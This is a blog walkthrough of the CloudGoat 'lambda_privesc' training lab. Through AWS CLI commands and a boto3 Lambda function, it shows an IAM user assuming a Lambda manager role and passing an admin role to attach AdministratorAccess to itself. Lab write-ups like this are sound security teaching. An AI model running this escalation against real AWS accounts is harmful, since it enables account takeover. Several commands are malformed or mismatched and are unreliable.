Cloud security

CloudGoat walkthrough series: Lambda Privilege Escalation

Mosimilolu Odusanya
December 16, 2020 by
Mosimilolu Odusanya

This is the third in our walkthrough series of CloudGoat scenarios. CloudGoat is a “vulnerable by design” AWS deployment tool designed by Rhino Security Labs. It is used to deploy a vulnerable set of AWS resources and is designed to teach and test cloud security penetration testing via issues commonly seen in real-life environments.

This walkthrough assumes you have CloudGoat setup on your Kali Linux. You can use our Working with CloudGoat: The “vulnerable by design” AWS environment post as a guide in deploying it.

Learn Cloud Security

Learn Cloud Security

Get hands-on experience with cloud service provider security, cloud penetration testing, cloud security architecture and management, and more.

Scenario summary

The scenario starts with the IAM user Chris, where the attacker discovers that they can assume a role that has full Lambda access and pass role permissions. The attacker can then perform privilege escalation to obtain full admin access.

The goal of the scenario is to download the confidential files from the S3 bucket.

Walkthrough

To deploy the resources for each scenario on AWS:

./cloudgoat.py create lambda_privesc

1. Deploying the resources gives us the access key and secret key for Chris:

2. Save the credential to a profile – Chris:

./cloudgoat.py create lambda_privesc

3. Enumerate the policies and permissions attached to the user “Chris” and see what privileges the user has.

Running the below revealed nothing.

aws iam list-user-policies –-user-name <insert username here> --profile <insert profile name here>

list-user-policies: Lists the names of inline policies embedded in the specified IAM user.

aws iam list-attached-user-policies –-user-name <insert username here> --profile <insert profile name here>

list-attached-user-policies: Lists all managed policies that are attached to the specified IAM user.

4. Get more information on the managed policy attached to the IAM user – Chris:

aws iam get-policy -–policy-arn <insert policy arn here> --profile <insert profile name here>

get-policy: Retrieves information about the specified managed policy, including the policy's default version and the total number of IAM users, groups and roles to which the policy is attached.

We can see that this policy version is v1.

5. Review details of the policy attached to this IAM user – Chris:

aws iam get-policy-version -–policy-arn <insert policy arn here> --profile <insert profile name here> --version-id <insert version id number here>

We noticed that this policy has sts:AssumeRole allowed. A bad actor with the sts:AssumeRole would be able to change the assume role policy document of any existing role to allow them to assume that role. It returns a set of temporary security credentials that you can use to access AWS resources that you might not normally have access to.

6. Review details of the policy attached to this IAM user – Chris:

aws iam list-roles --profile <insert profile name here>

We noticed two roles assigned to the user: “cg-debug-role-cgidpqw7rhl92u” and “cg-lambdaManager-role- cgidpqw7rhl92u”.

7. Get more information about the roles:

aws iam list-attached-user-policies –-role-name <insert username here> --profile <insert profile name here>

list-attached-role-policies: Lists all managed policies that are attached to the specified IAM role.

The “cg-debug-role-cgidpqw7rhl92u” role has a AdministratorAccess policy attached to it.

8. Get more information on the managed policy attached to the IAM role:

aws iam get-policy -–policy-arn <insert policy arn here> --profile <insert profile name here>

9. Review details of the policy attached to this IAM role:

aws iam get-policy-version -–policy-arn <insert policy arn here> --profile <insert profile name here> --version-id <insert version id number here>

We noticed that this policy has iam:PassRole allowed. A user with the iam:PassRole, lambda:CreateFunction and lambda:InvokeFunction permissions can escalate privileges by passing an existing IAM role to new Lambda function that includes code to import the relevant AWS library to their programming language of choice, then using it perform actions of their choice. The code could then be run by invoking the function through the AWS API. This would give a user access to the privileges associated with any Lambda service role that exists in the account, which could range from no privilege escalation to full administrator access to the account.

aws sts assume role –role-arn <insert role arn here> --role-session <create name of role session> --profile <insert name of role here>

We try to assume the debug role, but access is denied because Chris is not authorized to assume the role.

We try to assume the Lambda manager role:

The action was successful because Chris is authorized to assume the role. We are granted the temporary credential of the role (i.e., access key ID, secret access key and session token).

10. Configure the IAM credential on AWS CLI:

aws configure --profile <create profile name here>

Enter the access key and secret access key generated for the IAM instance profile. You can leave the default region name and the output format as empty.

Using vi, edit the credential file to include the AWS session token:

vi ~/.aws/credentials

11. Create a Lambda function which will attach the administrator policy to the IAM user – Chris:

import boto3

def lambda_handler(event, context):

client = boto3.client('iam')

response = client.attach_user_policy(UserName = <insert username here>', PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess')

return response

Save the file as lamba_function.py and zip it.

12. Run this command:

aws lambda create-function --function-name <create function name here> --runtime python 3.6 --role <insert role arn here> --handler lambda_function.lambda.handler --zip-file fileb://<zip file location> --profile <insert profile name from Step 11 above here> -- region <insert name of region>

Create-function: This creates a Lambda function. To create a function, you need a deployment package and an execution role. The deployment package contains your function code.

13. Invoke the Lambda function created in Step 12 above. If successful, it will return a status code of 200.

aws lambda invoke –function-name <insert function name created in Step 12 above> <create a file for output> --profile <insert profile name from Step 11 above here> -- region <insert name of region>

Invoke: Invokes the function created in Step 13 directly.

14. Confirm if the IAM user – Chris has the new role attached to his profile:

aws iam list-attached-user-policies –-user-name <insert username here> --profile <insert profile name here>

list-attached-user-policies: Lists all managed policies that are attached to the specified IAM user.

15. To destroy the resources created during this lab:

./cloudgoat.py destroy lambda_privesc

Learn Cloud Security

Learn Cloud Security

Get hands-on experience with cloud service provider security, cloud penetration testing, cloud security architecture and management, and more.

Summary

The user was granted the sts:AssumeRole which allowed the IAM user – Chris to assume a role (cg-lambdaManager-role- cgidpqw7rhl92u). The IAM role itself also had iam:PassRole, which allowed it to pass another higher privileged role (cg-debug-role-cgidpqw7rhl92u) via the Lambda function.

 

Sources

Versioning IAM Policies, AWS

AWS CLI Command Reference - IAM, AWS

Defeating a Cloud Breach Part 1, AttackIQ

The Capital One Breach & “cloud_breach_s3” CloudGoat Scenario, Rhino Security Labs

Well, that escalated quickly, Bishop Fox

AWS IAM Privilege Escalation Methods, Rhino Security Labs

Capital One Data Breach - Step by step analysis, Roostify

 

Mosimilolu Odusanya
Mosimilolu Odusanya

Mosimilolu (or 'Simi') works as a full-time cybersecurity consultant, specializing in privacy and infrastructure security. Outside of work, her passions includes watching anime and TV shows and travelling.